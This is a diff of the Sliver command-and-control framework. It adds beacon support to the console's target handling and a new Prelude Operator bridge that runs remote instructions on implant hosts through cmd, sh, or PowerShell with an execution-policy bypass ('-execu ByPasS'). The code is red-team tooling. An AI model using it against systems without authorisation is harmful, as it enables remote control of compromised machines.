@@ -28,7 +28,7 @@ import (
// WGSocksStartCmd - Start a WireGuard reverse SOCKS proxy
func WGSocksStartCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
@@ -41,7 +41,7 @@ func WGSocksStartCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
socks, err := con.Rpc.WGStartSocks(context.Background(), &sliverpb.WGSocksStartReq{
Port: int32(bindPort),
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
+2 -2
View File
@@ -28,7 +28,7 @@ import (
// WGSocksStopCmd - Stop a WireGuard SOCKS proxy
func WGSocksStopCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.Get()
session := con.ActiveTarget.GetSession()
if session == nil {
return
}
@@ -41,7 +41,7 @@ func WGSocksStopCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
stopReq, err := con.Rpc.WGStopSocks(context.Background(), &sliverpb.WGSocksStopReq{
ID: int32(socksID),
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
+2 -2
View File
@@ -32,7 +32,7 @@ import (
// WGSocksListCmd - List WireGuard SOCKS proxies
func WGSocksListCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
@@ -42,7 +42,7 @@ func WGSocksListCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
socksList, err := con.Rpc.WGListSocksServers(context.Background(), &sliverpb.WGSocksServersReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
+185 -67
View File
@@ -28,16 +28,19 @@ import (
insecureRand "math/rand"
"path"
"strconv"
"strings"
"sync"
"github.com/bishopfox/sliver/client/assets"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/client/prelude"
"github.com/bishopfox/sliver/client/spin"
"github.com/bishopfox/sliver/client/version"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/rpcpb"
"gopkg.in/AlecAivazis/survey.v1"
"github.com/golang/protobuf/proto"
"time"
@@ -74,27 +77,37 @@ const (
)
// Observer - A function to call when the sessions changes
type Observer func(*clientpb.Session)
type Observer func(*clientpb.Session, *clientpb.Beacon)
type BeaconTaskCallback func(*clientpb.BeaconTask)
type ActiveSession struct {
Session *clientpb.Session
type ActiveTarget struct {
session *clientpb.Session
beacon *clientpb.Beacon
observers map[int]Observer
observerID int
}
type SliverConsoleClient struct {
App *grumble.App
Rpc rpcpb.SliverRPCClient
ActiveSession *ActiveSession
IsServer bool
App *grumble.App
Rpc rpcpb.SliverRPCClient
ActiveTarget *ActiveTarget
BeaconTaskCallbacks map[string]BeaconTaskCallback
BeaconTaskCallbacksMutex *sync.Mutex
IsServer bool
Settings *assets.ClientSettings
}
// BindCmds - Bind extra commands to the app object
type BindCmds func(console *SliverConsoleClient)
func init() {
insecureRand.Seed(time.Now().Unix())
}
// Start - Console entrypoint
func Start(rpc rpcpb.SliverRPCClient, bindCmds BindCmds, extraCmds BindCmds, isServer bool) error {
assets.Setup(false, false)
settings, _ := assets.LoadSettings()
con := &SliverConsoleClient{
App: grumble.New(&grumble.Config{
Name: "Sliver",
@@ -106,11 +119,14 @@ func Start(rpc rpcpb.SliverRPCClient, bindCmds BindCmds, extraCmds BindCmds, isS
HelpSubCommands: true,
}),
Rpc: rpc,
ActiveSession: &ActiveSession{
ActiveTarget: &ActiveTarget{
observers: map[int]Observer{},
observerID: 0,
},
IsServer: isServer,
BeaconTaskCallbacks: map[string]BeaconTaskCallback{},
BeaconTaskCallbacksMutex: &sync.Mutex{},
IsServer: isServer,
Settings: settings,
}
con.App.SetPrintASCIILogo(func(_ *grumble.App) {
con.PrintLogo()
@@ -119,7 +135,7 @@ func Start(rpc rpcpb.SliverRPCClient, bindCmds BindCmds, extraCmds BindCmds, isS
bindCmds(con)
extraCmds(con)
con.ActiveSession.AddObserver(func(_ *clientpb.Session) {
con.ActiveTarget.AddObserver(func(_ *clientpb.Session, _ *clientpb.Beacon) {
con.App.SetPrompt(con.GetPrompt())
})
@@ -176,14 +192,16 @@ func (con *SliverConsoleClient) EventLoop() {
case consts.SessionOpenedEvent:
session := event.Session
// The HTTP session handling is performed in two steps:
// - first we add an "empty" session
// - then we complete the session info when we receive the Register message from the Sliver
// This check is here to avoid displaying two sessions events for the same session
if session.OS != "" {
currentTime := time.Now().Format(time.RFC1123)
con.PrintInfof("Session #%d %s - %s (%s) - %s/%s - %v\n\n",
session.ID, session.Name, session.RemoteAddress, session.Hostname, session.OS, session.Arch, currentTime)
currentTime := time.Now().Format(time.RFC1123)
con.PrintInfof("Session #%d %s - %s (%s) - %s/%s - %v\n\n",
session.ID, session.Name, session.RemoteAddress, session.Hostname, session.OS, session.Arch, currentTime)
// Prelude Operator
if prelude.SessionMapper != nil {
err = prelude.SessionMapper.AddSession(session)
if err != nil {
con.PrintErrorf("Could not add session to Operator: %s", err)
}
}
case consts.SessionUpdateEvent:
@@ -195,13 +213,31 @@ func (con *SliverConsoleClient) EventLoop() {
session := event.Session
con.Printf(Clearln+Warn+"Lost session #%d %s - %s (%s) - %s/%s\n",
session.ID, session.Name, session.RemoteAddress, session.Hostname, session.OS, session.Arch)
activeSession := con.ActiveSession.Get()
activeSession := con.ActiveTarget.GetSession()
if activeSession != nil && activeSession.ID == session.ID {
con.ActiveSession.Set(nil)
con.ActiveTarget.Set(nil, nil)
con.Printf(Warn + "Active session disconnected\n")
con.App.SetPrompt(con.GetPrompt())
con.Printf(Warn + " Active session disconnected\n")
}
if prelude.SessionMapper != nil {
err = prelude.SessionMapper.RemoveSession(session)
if err != nil {
con.PrintErrorf("Could not remove session from Operator: %s", err)
}
con.PrintInfof("Removed session %s from Operator\n", session.Name)
}
con.Println()
case consts.BeaconRegisteredEvent:
beacon := &clientpb.Beacon{}
proto.Unmarshal(event.Data, beacon)
currentTime := time.Now().Format(time.RFC1123)
shortID := strings.Split(beacon.ID, "-")[0]
con.PrintInfof("Beacon #%s %s - %s (%s) - %s/%s - %v\n\n",
shortID, beacon.Name, beacon.RemoteAddress, beacon.Hostname, beacon.OS, beacon.Arch, currentTime)
case consts.BeaconTaskResultEvent:
con.triggerBeaconTaskCallback(event.Data)
}
con.triggerReactions(event)
@@ -219,14 +255,13 @@ func (con *SliverConsoleClient) triggerReactions(event *clientpb.Event) {
// We need some special handling for SessionOpenedEvent to
// set the new session as the active session
currentActiveSession := con.ActiveSession.Get()
defer con.ActiveSession.Set(currentActiveSession)
con.ActiveSession.Set(nil)
currentActiveSession := con.ActiveTarget.GetSession()
if currentActiveSession != nil {
defer con.ActiveTarget.Set(currentActiveSession, nil)
}
con.ActiveTarget.Set(nil, nil)
if event.EventType == consts.SessionOpenedEvent {
if event.Session == nil || event.Session.OS == "" {
return // Half-open session, do not execute any command
}
con.ActiveSession.Set(event.Session)
con.ActiveTarget.Set(event.Session, nil)
}
for _, reaction := range reactions {
@@ -245,13 +280,53 @@ func (con *SliverConsoleClient) triggerReactions(event *clientpb.Event) {
}
}
// triggerBeaconTaskCallback - Triggers the callback for a beacon task
func (con *SliverConsoleClient) triggerBeaconTaskCallback(data []byte) {
task := &clientpb.BeaconTask{}
err := proto.Unmarshal(data, task)
if err != nil {
con.PrintErrorf("\rCould not unmarshal beacon task: %s\n", err)
return
}
// If the callback is not in our map then we don't do anything, the beacon task
// was either issued by another operator in multiplayer mode or the client process
// was restarted between the time the task was created and the server go the result
con.BeaconTaskCallbacksMutex.Lock()
defer con.BeaconTaskCallbacksMutex.Unlock()
if callback, ok := con.BeaconTaskCallbacks[task.ID]; ok {
if con.Settings.BeaconAutoResults {
// TODO: The background context could block forever and deadlock the mutex
task, err = con.Rpc.GetBeaconTaskContent(context.Background(), &clientpb.BeaconTask{
ID: task.ID,
})
con.Printf(Clearln + "\r")
if err == nil {
callback(task)
} else {
con.PrintErrorf("Could not get beacon task content: %s\n", err)
}
con.Println()
}
delete(con.BeaconTaskCallbacks, task.ID)
}
}
func (con *SliverConsoleClient) AddBeaconCallback(taskID string, callback BeaconTaskCallback) {
con.BeaconTaskCallbacksMutex.Lock()
defer con.BeaconTaskCallbacksMutex.Unlock()
con.BeaconTaskCallbacks[taskID] = callback
}
func (con *SliverConsoleClient) GetPrompt() string {
prompt := Underline + "sliver" + Normal
if con.IsServer {
prompt = Bold + "[server] " + Normal + Underline + "sliver" + Normal
}
if con.ActiveSession.Get() != nil {
prompt += fmt.Sprintf(Bold+Red+" (%s)%s", con.ActiveSession.Get().Name, Normal)
if con.ActiveTarget.GetSession() != nil {
prompt += fmt.Sprintf(Bold+Red+" (%s)%s", con.ActiveTarget.GetSession().Name, Normal)
} else if con.ActiveTarget.GetBeacon() != nil {
prompt += fmt.Sprintf(Bold+Blue+" (%s)%s", con.ActiveTarget.GetBeacon().Name, Normal)
}
prompt += " > "
return Clearln + prompt
@@ -268,7 +343,6 @@ func (con *SliverConsoleClient) PrintLogo() {
}
serverSemVer := fmt.Sprintf("%d.%d.%d", serverVer.Major, serverVer.Minor, serverVer.Patch)
insecureRand.Seed(time.Now().Unix())
logo := asciiLogos[insecureRand.Intn(len(asciiLogos))]
con.Println(logo)
con.Println("All hackers gain " + abilities[insecureRand.Intn(len(abilities))])
@@ -350,8 +424,9 @@ func (con *SliverConsoleClient) GetSessionsByName(name string) []*clientpb.Sessi
}
// GetActiveSessionConfig - Get the active sessions's config
// TODO: Switch to query config based on ConfigID
func (con *SliverConsoleClient) GetActiveSessionConfig() *clientpb.ImplantConfig {
session := con.ActiveSession.Get()
session := con.ActiveTarget.GetSession()
if session == nil {
return nil
}
@@ -368,8 +443,8 @@ func (con *SliverConsoleClient) GetActiveSessionConfig() *clientpb.ImplantConfig
Evasion: session.GetEvasion(),
MaxConnectionErrors: uint32(1000),
ReconnectInterval: uint32(60),
PollInterval: uint32(1),
ReconnectInterval: int64(60),
PollTimeout: int64(1),
Format: clientpb.OutputFormat_SHELLCODE,
IsSharedLib: true,
@@ -378,12 +453,9 @@ func (con *SliverConsoleClient) GetActiveSessionConfig() *clientpb.ImplantConfig
return config
}
// This should be called for any dangerous (OPSEC-wise) functions
func (con *SliverConsoleClient) IsUserAnAdult() bool {
confirm := false
prompt := &survey.Confirm{Message: "This action is bad OPSEC, are you an adult?"}
survey.AskOne(prompt, &confirm, nil)
return confirm
// PrintAsyncResponse - Print the generic async response information
func (con *SliverConsoleClient) PrintAsyncResponse(resp *commonpb.Response) {
con.PrintInfof("Tasked beacon %s (%s)\n", resp.BeaconID, resp.TaskID)
}
func (con *SliverConsoleClient) Printf(format string, args ...interface{}) (n int, err error) {
@@ -411,61 +483,107 @@ func (con *SliverConsoleClient) SpinUntil(message string, ctrl chan bool) {
}
//
// -------------------------- [ Active Session ] --------------------------
// -------------------------- [ Active Target ] --------------------------
//
// GetInteractive - GetInteractive the active session
func (s *ActiveSession) GetInteractive() *clientpb.Session {
if s.Session == nil {
fmt.Printf(Warn + "Please select an active session via `use`\n")
return nil
// GetSessionInteractive - Get the active target(s)
func (s *ActiveTarget) GetInteractive() (*clientpb.Session, *clientpb.Beacon) {
if s.session == nil && s.beacon == nil {
fmt.Printf(Warn + "Please select a session or beacon via `use`\n")
return nil, nil
}
return s.Session
return s.session, s.beacon
}
// Get - Same as Get() but doesn't print a warning
func (s *ActiveSession) Get() *clientpb.Session {
if s.Session == nil {
// GetSessionInteractive - GetSessionInteractive the active session
func (s *ActiveTarget) GetSessionInteractive() *clientpb.Session {
if s.session == nil {
fmt.Printf(Warn + "Please select a session via `use`\n")
return nil
}
return s.Session
return s.session
}
// GetSession - Same as GetSession() but doesn't print a warning
func (s *ActiveTarget) GetSession() *clientpb.Session {
return s.session
}
// GetBeaconInteractive - Get beacon interactive the active session
func (s *ActiveTarget) GetBeaconInteractive() *clientpb.Beacon {
if s.beacon == nil {
fmt.Printf(Warn + "Please select a beacon via `use`\n")
return nil
}
return s.beacon
}
// GetBeacon - Same as GetBeacon() but doesn't print a warning
func (s *ActiveTarget) GetBeacon() *clientpb.Beacon {
return s.beacon
}
// IsSession - Is the current target a session?
func (s *ActiveTarget) IsSession() bool {
if s.session != nil {
return true
}
return false
}
// AddObserver - Observers to notify when the active session changes
func (s *ActiveSession) AddObserver(observer Observer) int {
func (s *ActiveTarget) AddObserver(observer Observer) int {
s.observerID++
s.observers[s.observerID] = observer
return s.observerID
}
func (s *ActiveSession) RemoveObserver(observerID int) {
func (s *ActiveTarget) RemoveObserver(observerID int) {
delete(s.observers, observerID)
}
func (s *ActiveSession) Request(ctx *grumble.Context) *commonpb.Request {
if s.Session == nil {
func (s *ActiveTarget) Request(ctx *grumble.Context) *commonpb.Request {
if s.session == nil && s.beacon == nil {
return nil
}
timeout := int(time.Second) * ctx.Flags.Int("timeout")
return &commonpb.Request{
SessionID: s.Session.ID,
Timeout: int64(timeout),
req := &commonpb.Request{}
req.Timeout = int64(timeout)
if s.session != nil {
req.Async = false
req.SessionID = s.session.ID
}
if s.beacon != nil {
req.Async = true
req.BeaconID = s.beacon.ID
}
return req
}
// Set - Change the active session
func (s *ActiveSession) Set(session *clientpb.Session) {
s.Session = session
for _, observer := range s.observers {
observer(s.Session)
func (s *ActiveTarget) Set(session *clientpb.Session, beacon *clientpb.Beacon) {
if session != nil && beacon != nil {
panic("cannot set both an active beacon and an active session")
}
if session != nil {
s.session = session
for _, observer := range s.observers {
observer(s.session, s.beacon)
}
} else if beacon != nil {
s.beacon = beacon
for _, observer := range s.observers {
observer(s.session, s.beacon)
}
}
}
// Background - Background the active session
func (s *ActiveSession) Background() {
s.Session = nil
func (s *ActiveTarget) Background() {
s.session = nil
s.beacon = nil
for _, observer := range s.observers {
observer(nil)
observer(nil, nil)
}
}
+25 -7
View File
@@ -82,13 +82,19 @@ const (
// LootRemoved
LootRemovedEvent = "loot-removed"
// BeaconRegisteredEvent - First connection from a new beacon
BeaconRegisteredEvent = "beacon-registered"
// BeaconTaskResult - Beacon task completed with a result
BeaconTaskResultEvent = "beacon-taskresult"
)
// Commands
const (
NewPlayerStr = "new-player"
PlayersStr = "players"
KickPlayerStr = "kick-player"
OperatorsStr = "operators"
NewOperatorStr = "new-operator"
KickStr = "kick"
MultiplayerModeStr = "multiplayer"
SessionsStr = "sessions"
@@ -97,12 +103,15 @@ const (
UseStr = "use"
ReconfigStr = "reconfig"
PruneStr = "prune"
TasksStr = "tasks"
GenerateStr = "generate"
RegenerateStr = "regenerate"
CompilerStr = "info"
StagerStr = "stager"
ProfilesStr = "profiles"
BeaconStr = "beacon"
BeaconsStr = "beacons"
SettingsStr = "settings"
// Generic
@@ -115,6 +124,8 @@ const (
UnsetStr = "unset"
SaveStr = "save"
ReloadStr = "reload"
LoadStr = "load"
TablesStr = "tables"
LootStr = "loot"
LootLocalStr = "local"
@@ -125,7 +136,7 @@ const (
RenameStr = "rename"
ImplantBuildsStr = "implants"
ListCanariesStr = "canaries"
CanariesStr = "canaries"
JobsStr = "jobs"
MtlsStr = "mtls"
@@ -174,7 +185,8 @@ const (
MigrateStr = "migrate"
SideloadStr = "sideload"
SpawnDllStr = "spawndll"
LoadExtensionStr = "load-extension"
ExtensionStr = "extension"
LoadMacroStr = "load-macro"
StageListenerStr = "stage-listener"
WebsitesStr = "websites"
@@ -205,9 +217,14 @@ const (
ReactionStr = "reaction"
HostsStr = "hosts"
IOCStr = "ioc"
LicensesStr = "licenses"
GetPrivsStr = "getprivs"
GetPrivsStr = "getprivs"
PreludeOperatorStr = "prelude-operator"
ConnectStr = "connect"
)
// Groups
@@ -216,5 +233,6 @@ const (
SliverHelpGroup = "Sliver:"
SliverWinHelpGroup = "Sliver - Windows:"
MultiplayerHelpGroup = "Multiplayer:"
MacroHelpGroup = "Sliver - 3rd Party macros:"
ExtensionHelpGroup = "Sliver - 3rd Party extensions:"
)
+4
View File
@@ -0,0 +1,4 @@
Prelude
=======
The `prelude` package handles the connection with [Prelude's Operator platform](https://www.prelude.org/).
+132
View File
@@ -0,0 +1,132 @@
package prelude
import (
"bufio"
"bytes"
"context"
"encoding/json"
"io"
"net"
"strings"
"time"
"github.com/bishopfox/sliver/client/prelude/util"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/rpcpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
)
const (
defaultTimeout = 60
delim = "\r\n"
)
type AgentSession struct {
Conn *net.Conn
Session *clientpb.Session
RPC rpcpb.SliverRPCClient
Beacon Beacon
Config AgentConfig
}
func NewAgentSession(c *net.Conn, s *clientpb.Session, rpc rpcpb.SliverRPCClient, b Beacon, conf AgentConfig) *AgentSession {
return &AgentSession{
Conn: c,
Session: s,
RPC: rpc,
Config: conf,
Beacon: b,
}
}
func (a *AgentSession) ReceiveLoop() {
for {
err := a.send()
if err != nil {
return
}
scanner := bufio.NewScanner(*a.Conn)
for scanner.Scan() {
message := strings.TrimSpace(scanner.Text())
err = a.respond(message)
if err != nil {
return
}
}
}
}
func (a *AgentSession) send() error {
data, err := json.Marshal(a.Beacon)
if err != nil {
return err
}
dataBuff := bytes.NewReader(append(util.Encrypt(data), "\n"...))
sendBuffer := make([]byte, 1024)
for {
_, err := dataBuff.Read(sendBuffer)
if err == io.EOF {
return nil
}
if err != nil {
return err
}
if _, err = (*a.Conn).Write(sendBuffer); err != nil {
return err
}
time.Sleep(time.Duration(a.Beacon.Sleep))
}
}
func (a *AgentSession) respond(message string) error {
var tempBeacon Beacon
if err := json.Unmarshal([]byte(util.Decrypt(message)), &tempBeacon); err == nil {
a.Beacon.Links = a.Beacon.Links[:0]
a.runLinks(&tempBeacon)
}
a.refreshBeacon(&a.Config)
a.send()
return nil
}
func (a *AgentSession) runLinks(tempBeacon *Beacon) {
for _, link := range a.Config.StartInstructions(tempBeacon.Links) {
time.Sleep(time.Second * 1)
//TODO handle link.payloadPath
payloadPath := ""
response, status, pid := RunCommand(link.Request, link.Executor, payloadPath, &a.Config, a.RPC, a.Session)
link.Response = response
link.Status = status
link.Pid = pid
a.Beacon.Links = append(a.Beacon.Links, link)
a.Config.EndInstruction(link)
}
}
func (a *AgentSession) refreshBeacon(conf *AgentConfig) {
var pwd string
pwdResp, _ := a.RPC.Pwd(context.Background(), &sliverpb.PwdReq{
Request: MakeRequest(a.Session),
})
if pwdResp != nil {
pwd = pwdResp.Path
}
a.Beacon.Sleep = conf.Sleep
a.Beacon.Range = conf.Range
a.Beacon.Pwd = pwd
a.Beacon.Target = conf.Address
a.Beacon.Executing = conf.BuildExecutingHash()
}
func MakeRequest(session *clientpb.Session) *commonpb.Request {
if session == nil {
return nil
}
timeout := int64(defaultTimeout)
return &commonpb.Request{
SessionID: session.ID,
Timeout: timeout,
}
}
+92
View File
@@ -0,0 +1,92 @@
package prelude
import (
"context"
"fmt"
"log"
"strings"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/rpcpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
)
//RunCommand executes a given command
func RunCommand(message string, executor string, payloadPath string, agent *AgentConfig, rpc rpcpb.SliverRPCClient, session *clientpb.Session) (string, int, int) {
switch executor {
case "keyword":
task := splitMessage(message, '.')
switch task[0] {
case "config":
// return updateConfiguration(task[1], agent)
// case "shell":
// return pty.SpawnShell(task[1], agent)
case "exit":
return shutdown(agent, rpc, session)
default:
// return "Keyword selected not available for agent", util.ErrorExitStatus, util.ErrorExitStatus
}
default:
bites, status, pid := execute(message, executor, agent, rpc, session)
return string(bites), status, pid
}
return "", 0, 0
}
func execute(cmd string, executor string, agentConfig *AgentConfig, rpc rpcpb.SliverRPCClient, session *clientpb.Session) (string, int, int) {
args := append(getCmdArg(executor), cmd)
if executor == "psh" {
executor = "powershell.exe"
}
log.Printf("[!] Executing %s %s\n", executor, strings.Join(args, " "))
execResp, err := rpc.Execute(context.Background(), &sliverpb.ExecuteReq{
Path: executor,
Args: args,
Output: true,
Request: MakeRequest(session),
})
if err != nil {
return fmt.Sprintf("Error: %s\n", err.Error()), 0, 0
}
if execResp.Response != nil && execResp.Response.Err != "" {
return execResp.Response.Err, 0, 0
}
return execResp.Stdout, int(execResp.Status), int(execResp.Pid)
}
func getCmdArg(executor string) []string {
var args []string
switch executor {
case "cmd":
args = []string{"/C", "/S"}
case "powershell", "psh":
args = []string{"-execu", "ByPasS", "-C"}
case "sh", "bash", "zsh":
args = []string{"-c"}
}
return args
}
func splitMessage(message string, splitRune rune) []string {
quoted := false
values := strings.FieldsFunc(message, func(r rune) bool {
if r == '"' {
quoted = !quoted
}
return !quoted && r == splitRune
})
return values
}
func shutdown(cfg *AgentConfig, rpc rpcpb.SliverRPCClient, session *clientpb.Session) (string, int, int) {
_, err := rpc.KillSession(context.Background(), &sliverpb.KillSessionReq{
Force: false,
Request: MakeRequest(session),
})
if err != nil {
return err.Error(), 1, 0
}
return fmt.Sprintf("Terminated %s", session.Name), 0, 0
}
Loaded 100 of 291 files, more files were not shown because too many files have changed in this diff. Show more